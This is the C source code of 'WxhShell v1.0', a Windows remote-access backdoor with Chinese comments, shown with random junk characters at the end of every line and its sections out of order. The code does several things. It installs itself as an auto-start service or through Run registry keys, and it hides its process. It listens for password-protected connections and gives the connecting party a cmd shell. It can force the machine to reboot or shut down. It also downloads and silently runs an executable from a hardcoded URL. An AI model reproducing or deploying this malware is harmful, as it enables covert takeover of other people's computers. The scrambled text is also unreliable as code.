  case 'd': { DU"Gz!X]Jd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iN'T^+um=  
    if(Boot(SHUTDOWN)) NkBvN\CQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iExKi1knx  
    else { fuA] y4A  
    closesocket(wsh); 9x4z m  
    ExitThread(0); ivl %%nY'  
    } ]SU)L5Dt;  
    break; }\8-&VoY#X  
    } 6o6yx:  
  // 获取shell UYZC% $5x  
  case 's': { C7m/<  
    CmdShell(wsh); ~s'}_5;VY  
    closesocket(wsh); aDX&j2/  
    ExitThread(0); cyWb*Wv  
    break; DpmAB.  
  } oO?+2pTQV  
  // 退出 Q!IqvmO  
  case 'x': { lW#2ox  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RY)x"\D  
    CloseIt(wsh); !f AvxR  
    break; RF2I_4  
    } v ))`U,Gm  
  // 离开 H*<E5^#dw  
  case 'q': { N@<-R<s^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :/][ n9J^  
    closesocket(wsh); X}3?k<m  
    WSACleanup(); 4pXY7+e2'  
    exit(1); 8lqmd1v  
    break; KV;q}EyG  
        } ip'{@1L  
  } Y}.f&rLe  
  } >+i+_^]  
5 8;OTDR!  
  // 提示信息 F)eP55C6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `/R. 5;$|  
} &_;=]t s  
  } 4PS|  
p</t##]3ks  
  return; 8kU(>' ^_:  
} Iy*Q{H3[  
WixEnsJ  
// shell模块句柄 \+U;$.)3  
int CmdShell(SOCKET sock) #Cs/.(<  
{ 7W4m&+  
STARTUPINFO si; M9Sj@ww  
ZeroMemory(&si,sizeof(si)); 8#A4B2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \A\?7#9\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2,I]H'}^  
PROCESS_INFORMATION ProcessInfo; GK11fZpO:i  
char cmdline[]="cmd"; s-SFu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z)(#D($-  
  return 0; W4nn)qBrh  
} ,s}&|+ '"  
uInI{>  
// 自身启动模式 (?,jnnub  
int StartFromService(void) DU*qhW`X  
{ PK&&Vu2M  
typedef struct yF|yZ{  
{ U_aI!`WXd  
  DWORD ExitStatus; G1zP^ogk  
  DWORD PebBaseAddress; #>~A-k)  
  DWORD AffinityMask; w-km qh  
  DWORD BasePriority; ^zqQ8{oV  
  ULONG UniqueProcessId; Kt]vTn7!9  
  ULONG InheritedFromUniqueProcessId; Z{#3-O<a+n  
}   PROCESS_BASIC_INFORMATION; _RzoXn{1e  
Imzh`SI,  
PROCNTQSIP NtQueryInformationProcess; a ge8I$*`@  
I=[09o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *&_A4)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  rB(Q)N  
A -8]4p::  
  HANDLE             hProcess; r_bG+iw7p  
  PROCESS_BASIC_INFORMATION pbi; 7}c[GC)F  
%O[1yZh \  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FoYs<aER  
  if(NULL == hInst ) return 0;  v1?G  
Mt{cX,DS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ha ZV7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Eoo[H2=^H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  1v3  
?0z/i^I  
  if (!NtQueryInformationProcess) return 0; M,{;xf  
0$y HO2 f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ae^4  
  if(!hProcess) return 0; =7:}/&  
hlc g[Qdo*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "J}B lB  
m\ qR myO  
  CloseHandle(hProcess); Q>w)b]d~c  
wax^iL!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _q@lP|  
if(hProcess==NULL) return 0; e2nZwPH  
e+2lus,u6t  
HMODULE hMod; ~<Wa$~oY  
char procName[255]; +Ezl.O@z  
unsigned long cbNeeded; I%j]pY4  
;U tEHvE*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bz:Hp{7&  
_m#TL60m  
  CloseHandle(hProcess); L5&,sJz  
FO]f 4@  
if(strstr(procName,"services")) return 1; // 以服务启动 <X1[j9Qtv0  
Tn3C0  
  return 0; // 注册表启动 3XbFg%8YG  
} Fgh an.F  
EjEXev<]  
// 主模块 RdpOj >fT  
int StartWxhshell(LPSTR lpCmdLine) NLgeBLB  
{ m<MN.R7  
  SOCKET wsl; _\,4h2(  
BOOL val=TRUE; 6is+\  
  int port=0; rg%m   
  struct sockaddr_in door; <X97W\  
+@@( C9  
  if(wscfg.ws_autoins) Install(); 5':j=KQE_  
h=NXU9n%'  
port=atoi(lpCmdLine); 4dSAGLpp  
6,R<8a;Wn  
if(port<=0) port=wscfg.ws_port; >Ij# +=  
l,b_' m@  
  WSADATA data; t#]VR7]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t3Iij0b~  
dW^#}kN7V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~ :B/`1[m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0R&7vn  
  door.sin_family = AF_INET; 3`"k1W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hGUQdTNP  
  door.sin_port = htons(port); un,W{*s8*  
8h|~>v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]HG> Og  
closesocket(wsl); MAc/ T.[  
return 1; ~~ty9;KYL  
} ^M1O)   
xkaed  
  if(listen(wsl,2) == INVALID_SOCKET) { 7tY~8gQel  
closesocket(wsl); itO1ROmu  
return 1; sQT,@+JEr  
} %Si3LQf  
  Wxhshell(wsl); Q6[h;lzGV  
  WSACleanup(); _9/Af1 X  
<g8{LG0  
return 0; <S@2%%W  
;/^O7KM-  
} j8t_-sU9 i  
D6FG$SV  
// 以NT服务方式启动 kN vNV(4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v[m1R'  
{ *b1NVN$  
DWORD   status = 0; B8V85R  
  DWORD   specificError = 0xfffffff; (L<G=XC  
mx^rw*'JGC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Sa6YqOel@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "9H#pj -  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7^h*rL9  
  serviceStatus.dwWin32ExitCode     = 0; f%STkL)  
  serviceStatus.dwServiceSpecificExitCode = 0; IS!]!s'EI  
  serviceStatus.dwCheckPoint       = 0; Lb2/ Te*  
  serviceStatus.dwWaitHint       = 0; *>j4tA{b@v  
Tr HUM4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @v}M\$N?  
  if (hServiceStatusHandle==0) return; T!5g:;~y >  
.lppT)P  
status = GetLastError(); ! AL?bW  
  if (status!=NO_ERROR) _3_o/I  
{ (Z>vbi%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !z?:Y#P3  
    serviceStatus.dwCheckPoint       = 0; ZpU4"x>  
    serviceStatus.dwWaitHint       = 0; ?eR^\-e  
    serviceStatus.dwWin32ExitCode     = status; `&A-m8X  
    serviceStatus.dwServiceSpecificExitCode = specificError; E>}3MfL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?)+I'lW!  
    return; ? ~~,?Uxw!  
  } NVo =5  
<ZeZq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D)JI11a<  
  serviceStatus.dwCheckPoint       = 0; 7(5 wP(  
  serviceStatus.dwWaitHint       = 0; }9&~+Q2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9t0NO-a  
} )XD$YI  
rEZMX2  
// 处理NT服务事件,比如:启动、停止 hKp-"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W#<ZaGsq  
{ :B4X/  
switch(fdwControl) |Iq\ZX%q  
{ .n| M5X  
case SERVICE_CONTROL_STOP: xV5eKV  
  serviceStatus.dwWin32ExitCode = 0; 2ISnWzq;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; locf6%2g~  
  serviceStatus.dwCheckPoint   = 0; e%&/K7I"?  
  serviceStatus.dwWaitHint     = 0; qznd '^[  
  { ? $X1X`@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); km!jxs  
  } e_CgZ  
  return; y+a]?`2  
case SERVICE_CONTROL_PAUSE: EWoGdH|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KZTT2KsYl  
  break; SNf*2~uq)  
case SERVICE_CONTROL_CONTINUE: lA7\c#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \RyW#[(  
  break; QW}N,j$  
case SERVICE_CONTROL_INTERROGATE: 'd=B{7k@  
  break; &r !*Y&  
}; '${xZrzmt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d+Jj4OnP  
} x AR9* <-  
FFqqAT5  
// 标准应用程序主函数 \*$''`b)j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #+Cu&l  
{ ,Tc598D  
dJd(m&.|N  
// 获取操作系统版本 wloQk(T<W  
OsIsNt=GetOsVer(); xD<:'-ri>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +}0/ %5 =1  
D[ (A`!)  
  // 从命令行安装 +&hd3  
  if(strpbrk(lpCmdLine,"iI")) Install(); bIahjxd:  
g)#neEA J  
  // 下载执行文件 q~:k[@`.  
if(wscfg.ws_downexe) { ]l4# KI@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P_ x9:3  
  WinExec(wscfg.ws_filenam,SW_HIDE); ey>V^Fj  
} r5N.Qt8  
zHvG3Ed@  
if(!OsIsNt) { hbv>Jjd  
// 如果时win9x,隐藏进程并且设置为注册表启动 s@vHU4  
HideProc(); 3]1uDgfr  
StartWxhshell(lpCmdLine); WfE,U=e*  
}  \>*B  
else ril4*$e7^\  
  if(StartFromService()) n$}Cj}eju  
  // 以服务方式启动 li?RymlF  
  StartServiceCtrlDispatcher(DispatchTable); %-eags~sUC  
else U#W9]il$  
  // 普通方式启动 #Y;_W;#  
  StartWxhshell(lpCmdLine); X8(, ,>_  
@e_<OU  
return 0; =tE7XC3X_  
} \d#|n u  
jN43vHm\Y9  
7Z+4F=2ff  
m.A_u7D@  
=========================================== +WYXj  
[vs5e3B)  
`Al( AT(p  
3jB5F0^r1  
k-&fPEjG  
h}o7/p  
" #4e Taik  
y QxzFy  
#include <stdio.h> >F~]r$G  
#include <string.h>  0"_FQv  
#include <windows.h> Spossp`|  
#include <winsock2.h> <Prz>qL$  
#include <winsvc.h> nT.2HQ((Xg  
#include <urlmon.h> $($26g  
pIy+3&\e;  
#pragma comment (lib, "Ws2_32.lib") !!4` #Z0+#  
#pragma comment (lib, "urlmon.lib") D> |R.{  
' s6SKjZS  
#define MAX_USER   100 // 最大客户端连接数 AF}6O(C~  
#define BUF_SOCK   200 // sock buffer !Z*2X ^  
#define KEY_BUFF   255 // 输入 buffer ~;A36M-[.  
vf+GC*f  
#define REBOOT     0   // 重启 2}P?N  
#define SHUTDOWN   1   // 关机 L`Lro:E?kL  
OTNcNY  
#define DEF_PORT   5000 // 监听端口 1 \_S1ZS  
&nk[gb o\  
#define REG_LEN     16   // 注册表键长度 I8C(z1(N  
#define SVC_LEN     80   // NT服务名长度 9fyJw1  
"Y Z B@  
// 从dll定义API {>E`Zf:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P O,mg?JG(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hqA6%Y^k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t`6R)'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V uqJ&U.-  
z+>FKAF  
// wxhshell配置信息 b3z {FP  
struct WSCFG { 9K\A4F}  
  int ws_port;         // 监听端口 Qb}1tn)  
  char ws_passstr[REG_LEN]; // 口令 n9}3>~ll  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;-:Nw6 E  
  char ws_regname[REG_LEN]; // 注册表键名 8R;)WlLu=  
  char ws_svcname[REG_LEN]; // 服务名 _{fh/{b1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <lj;}@qQ<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f?OFMac  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jU~ ! *]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4PwjG;!K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t<Iy `r7 1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u&HLdSHe  
~9N n8g6  
}; gi|j ! m  
06FBI?;|=  
// default Wxhshell configuration aB6F<"L,  
struct WSCFG wscfg={DEF_PORT, >8$]g  
    "xuhuanlingzhe", e^?0uVxS1  
    1, pDlU*&  
    "Wxhshell", Ka|WT|1  
    "Wxhshell", ?=X G#we  
            "WxhShell Service", XN@F6Gj  
    "Wrsky Windows CmdShell Service", biy1!r  
    "Please Input Your Password: ", $n30[P@p;  
  1, 3_:J`xX(4  
  "http://www.wrsky.com/wxhshell.exe", T( UPWsj  
  "Wxhshell.exe" &\Es\qVSf  
    }; &R\t<X9 n  
a9hK8e  
// 消息定义模块 Sl,\  <a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7$8YBcZ6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; " Zo<$p3]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k?%?EsR  
char *msg_ws_ext="\n\rExit."; Bg"KNg  
char *msg_ws_end="\n\rQuit."; Z= P]UD  
char *msg_ws_boot="\n\rReboot..."; +}eGCZra  
char *msg_ws_poff="\n\rShutdown..."; rq;Xcc  
char *msg_ws_down="\n\rSave to "; T2Q`Ax7  
}pOem}  
char *msg_ws_err="\n\rErr!"; T) ZO+}  
char *msg_ws_ok="\n\rOK!"; 2 1b  
K+=cNC4B  
char ExeFile[MAX_PATH]; MlDWK_y_&  
int nUser = 0; PyOj{WX>W  
HANDLE handles[MAX_USER]; ){u/v[O9"  
int OsIsNt; yMdE[/+3  
h[|c?\E z  
SERVICE_STATUS       serviceStatus; q2o`.f+I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2$)xpET  
r5h+_&v,M  
// 函数声明 5%+M:B  
int Install(void); hG~TqH^} B  
int Uninstall(void); gLyXe,Jp  
int DownloadFile(char *sURL, SOCKET wsh); `1AVw] k  
int Boot(int flag); @WmEcX|  
void HideProc(void); s4RqY*VK  
int GetOsVer(void); ]kXiT Yg  
int Wxhshell(SOCKET wsl); k,p:!S(bl  
void TalkWithClient(void *cs);  /i'dhiG  
int CmdShell(SOCKET sock); c7~+ 5  
int StartFromService(void); : MfY8P)  
int StartWxhshell(LPSTR lpCmdLine); O] T'\6w  
4CUzp.S`h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4'Svio  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &:K!$W  
2U;6sn*e  
// 数据结构和表定义 <OQn |zU\  
SERVICE_TABLE_ENTRY DispatchTable[] = S}@J4}*u["  
{ kx6AMx!nX  
{wscfg.ws_svcname, NTServiceMain}, ZCP r`H  
{NULL, NULL} :Pa^/i  
}; }XJA#@  
/$w,8pV =  
// 自我安装 ,".1![b  
int Install(void) |ia#Elavo  
{ p\A!"KC  
  char svExeFile[MAX_PATH]; ~F gxhK2+  
  HKEY key; ?Xdb%.   
  strcpy(svExeFile,ExeFile); X+0+ }S  
d`}t!]Gg  
// 如果是win9x系统,修改注册表设为自启动 Ol%KXq[  
if(!OsIsNt) { TBAF_$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { | z 1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  I&m C  
  RegCloseKey(key); MBeubS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wu}84W"!.V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 16J" QUuG  
  RegCloseKey(key); v[++"=< o8  
  return 0; zl a^j,  
    } SauX C  
  } RgB5'$x}  
} (hB+DPi  
else { })?t:zX#*  
DJ zJ$Q  
// 如果是NT以上系统,安装为系统服务 F gi&CJ8Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HLlp+;CF><  
if (schSCManager!=0) [:CV5k~xc  
{ |n*nByL/  
  SC_HANDLE schService = CreateService U*p;N,SjQ  
  ( aEL^N0\d  
  schSCManager, `(2Y%L(r  
  wscfg.ws_svcname, CXI%8eFXe$  
  wscfg.ws_svcdisp, J~}%j.QQ7  
  SERVICE_ALL_ACCESS, hDn?R}^l{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?M<q95pL  
  SERVICE_AUTO_START, 3PLYC}Jq  
  SERVICE_ERROR_NORMAL, PVCFh$pnw  
  svExeFile, q(Q$lRj/I-  
  NULL, ?RP&XrD  
  NULL, iE6?Px9]  
  NULL, uZ1b_e0SGu  
  NULL, |c<h& p  
  NULL bR\Oyd~e  
  ); R [qfG! "  
  if (schService!=0) Lrrc&;  
  { Y8%bk2  
  CloseServiceHandle(schService); PLb[U(~  
  CloseServiceHandle(schSCManager); j[ fE^&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q\QSnMM&]  
  strcat(svExeFile,wscfg.ws_svcname); S6<z2-y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (C3:_cM5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *eF'<._[U  
  RegCloseKey(key); ^MXW,xqb  
  return 0; HQy:,_f@  
    } 3J3Yt`  
  } ;4:[kv@  
  CloseServiceHandle(schSCManager); >bLhCgF:"  
} F|wT']1Y  
}  @mD$Z09~  
D8rg:,'6  
return 1; dvW2X  
} *!m\%*y{  
-/g<A~+i]$  
// 自我卸载 Sc.@u3  
int Uninstall(void) 1_=I\zx(  
{ "hbCP4  
  HKEY key; PwC9@c%c  
Jyz*W!kI  
if(!OsIsNt) { q*^m8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T4JG5  
  RegDeleteValue(key,wscfg.ws_regname); G`oY(2U  
  RegCloseKey(key); BzXTHFMSy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2+oS'nL  
  RegDeleteValue(key,wscfg.ws_regname); t+l{D#?a  
  RegCloseKey(key); O30eq 7(  
  return 0; )` ^/Dj;  
  } u]766<Z  
} ]YciLc(  
} {0o ,2]o!:  
else { YXlaE=9bn  
/a .XWfu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v;WfcpWq2  
if (schSCManager!=0) {hH8+4c7  
{ B>kVJK`X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !r#36kO  
  if (schService!=0) 3+4U?~^k*  
  { G'<Ie@$6l  
  if(DeleteService(schService)!=0) { <1pRAN0  
  CloseServiceHandle(schService); HYwtGj~5  
  CloseServiceHandle(schSCManager); 4;|@eN  
  return 0; @UK%l :L  
  } N?{.}-Q  
  CloseServiceHandle(schService); 8o  SL3  
  } c!ul9Cw  
  CloseServiceHandle(schSCManager); 1G}\IK1+  
} #trb4c{{5  
} c$n`=NI  
C9j3|]nyL  
return 1; ']:>Ww.S  
} +Y_]<  
IQ $/|b/  
// 从指定url下载文件 PN"=P2e/ 6  
int DownloadFile(char *sURL, SOCKET wsh) T!2gOe  
{ ~5;2ni8n  
  HRESULT hr; *G"}m/j-  
char seps[]= "/"; 6sQY)F7p  
char *token; Fp(-&,L0fc  
char *file; nj <nW5[  
char myURL[MAX_PATH]; S rom@c  
char myFILE[MAX_PATH]; m4@Lml+B,  
w\}Q.$@  
strcpy(myURL,sURL); \GdsQAF"  
  token=strtok(myURL,seps); O|mWQp^?q  
  while(token!=NULL) [+wLy3_  
  { ] ]lN[J  
    file=token;  l3Wh&*0  
  token=strtok(NULL,seps); U}<'[o V  
  } 5,#aN}v#?  
9zNMv-  
GetCurrentDirectory(MAX_PATH,myFILE); Z&6*8#wn  
strcat(myFILE, "\\"); 8FJPw"9  
strcat(myFILE, file); v VFT0_  
  send(wsh,myFILE,strlen(myFILE),0); 1#lH5|XQ  
send(wsh,"...",3,0); "3$P<Q\;l;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  q!as~{!  
  if(hr==S_OK) C,) e7  
return 0; +EvY-mwfQ  
else -1%AM40j  
return 1; hr?0RPp}  
Kwo0%2Onkd  
} &9 khIJI n  
D9r4oRkP*  
// 系统电源模块 h%ba!  
int Boot(int flag) :OD-L)Or  
{ h/NI5   
  HANDLE hToken; #^9a[ZLj0  
  TOKEN_PRIVILEGES tkp; tKCX0UZ'  
,xg(F0q  
  if(OsIsNt) { Id?2(Tg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C4|H 5H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yaK4% k  
    tkp.PrivilegeCount = 1; ,D93A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +-PFISa<r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %&M*G@j  
if(flag==REBOOT) { %T DY &@i=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9)S,c =z83  
  return 0; $p\0/  
} }_h2:^n  
else { " XlXu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3z!^UA>q  
  return 0; **~1`_7~*  
} P] Xl  
  } o>y@1%aU  
  else { yC9~X='D  
if(flag==REBOOT) { >_u5"&q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DxzNg_E]  
  return 0; "64D.c(r$  
} qj*77  
else { 2T-3rC)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WjF#YW\  
  return 0; xX\A& 9m  
} c#T0n !}  
} Ht7v+lY90^  
%!V=noo  
return 1; g*$yUt  
} jWGX :XB  
wQrD(Dv(yA  
// win9x进程隐藏模块 RO.bh#A$  
void HideProc(void) !UX7R\qu|  
{ FK,Jk04on  
S !R:a>\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gFw- P#t  
  if ( hKernel != NULL )  m8z414o  
  { M<3m/l%`Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iYl{V']A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (lLCAmK 5?  
    FreeLibrary(hKernel); sXR}#*8p  
  } G~19Vv*;  
{p7b\=WB-  
return; nm !H&#<  
} 3.D|xE]g  
--g? `4  
// 获取操作系统版本 `l<pH<F  
int GetOsVer(void) =>Dw ,+"  
{ xwZ7I  
  OSVERSIONINFO winfo; !K/zFYl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RRJN@|"  
  GetVersionEx(&winfo); ^A;(#5A]7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o;J_"' kP  
  return 1; I.'sK9\Zp  
  else xXNL UP  
  return 0; KL+,[M@ F  
} i`vgD<}  
B{-+1f4  
// 客户端句柄模块 }OLBEhGs  
int Wxhshell(SOCKET wsl) XFcIBWS  
{ k+As#7V  
  SOCKET wsh; t zSg`7H!  
  struct sockaddr_in client; -% g{{'9B  
  DWORD myID; o>ZlA3tv  
=f-.aq(G/  
  while(nUser<MAX_USER) Xd@x(T~'X  
{ ?G$X 4KY6`  
  int nSize=sizeof(client); tCbn B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I cz) Qtg|  
  if(wsh==INVALID_SOCKET) return 1; f*GdHUZ*  
S0-/9h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^]1M8R,  
if(handles[nUser]==0) `|g*T~; kC  
  closesocket(wsh); O-YB +~"3Z  
else ]5hGSl2  
  nUser++; X?Z#k~JR  
  } UY*[='l!)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gj<Y+Dv>  
.LEn~ 8  
  return 0; {-kV~p  
} /b~|(g31"  
+}@6V4BRn  
// 关闭 socket So\f [/em  
void CloseIt(SOCKET wsh) x $=-lB  
{ eXsFPM  
closesocket(wsh); parc\]M  
nUser--; AHtLkfr(r  
ExitThread(0); A]CO Ysc  
} zM mV Yx  
|h75S.UY  
// 客户端请求句柄 xDTDfhA  
void TalkWithClient(void *cs) SPU_@ Pk  
{ aBx8wl*Vm  
K#oF=4_/|  
  SOCKET wsh=(SOCKET)cs; *Zi:^<hv  
  char pwd[SVC_LEN]; "N4rh<<  
  char cmd[KEY_BUFF]; f3Cjj]RFv  
char chr[1]; UkV{4*E  
int i,j; )4/227b/(  
@Zd/>'  
  while (nUser < MAX_USER) { ZsikI@?  
iv]*HE  
if(wscfg.ws_passstr) { *C n `pfO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jM  DG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wa}\bNKQk  
  //ZeroMemory(pwd,KEY_BUFF); om'DaG`A  
      i=0; +:fr(s!OE  
  while(i<SVC_LEN) { rezH5d6z62  
= ;"$t_t  
  // 设置超时 #{u>  
  fd_set FdRead; @x z?^20N  
  struct timeval TimeOut; Z )f\^  
  FD_ZERO(&FdRead); FtL{ f=  
  FD_SET(wsh,&FdRead); } I;5yk,o  
  TimeOut.tv_sec=8; ><Z`) }f  
  TimeOut.tv_usec=0; ;p}X]e l}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D/=  AU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); auP6\kpMe  
GMO|A.bzzN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); muqIh!nn  
  pwd=chr[0]; =7WE   
  if(chr[0]==0xd || chr[0]==0xa) { 09 >lx$  
  pwd=0; rM?ox  
  break;  'WW['  
  } Q~p[jQ,4wZ  
  i++; h#iFp9N  
    } ZT;:Hxv0N  
< BNCo5*  
  // 如果是非法用户,关闭 socket P6cc8x9g(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Pxn;]!Z #  
} \x_fP;ma=_  
q:D!@+U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LVj62&,-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $2j?Z.yEG  
yIdM2#`u  
while(1) { ^,.G<2Kx&  
d=B DR^/wA  
  ZeroMemory(cmd,KEY_BUFF); iqj ZC80  
I3ZbHb-)_,  
      // 自动支持客户端 telnet标准   >^Zyls  
  j=0; @94_'i7\  
  while(j<KEY_BUFF) { >v DD.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '<YVDB&-d,  
  cmd[j]=chr[0]; ]%K 8  
  if(chr[0]==0xa || chr[0]==0xd) { pWwB<F  
  cmd[j]=0; bl)iji`]  
  break;  FGP~^Dr/  
  } 68^5X"OGF  
  j++; Dx-G0 KIG  
    } q3s +?&  
t,2Q~ied=  
  // 下载文件 faVR %  
  if(strstr(cmd,"http://")) { `Oc`I9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A%G \ AT  
  if(DownloadFile(cmd,wsh)) 'h6Vj6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1JU1XQi  
  else u,6 'yB'u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '5mzlR  
  } P|S'MS';:  
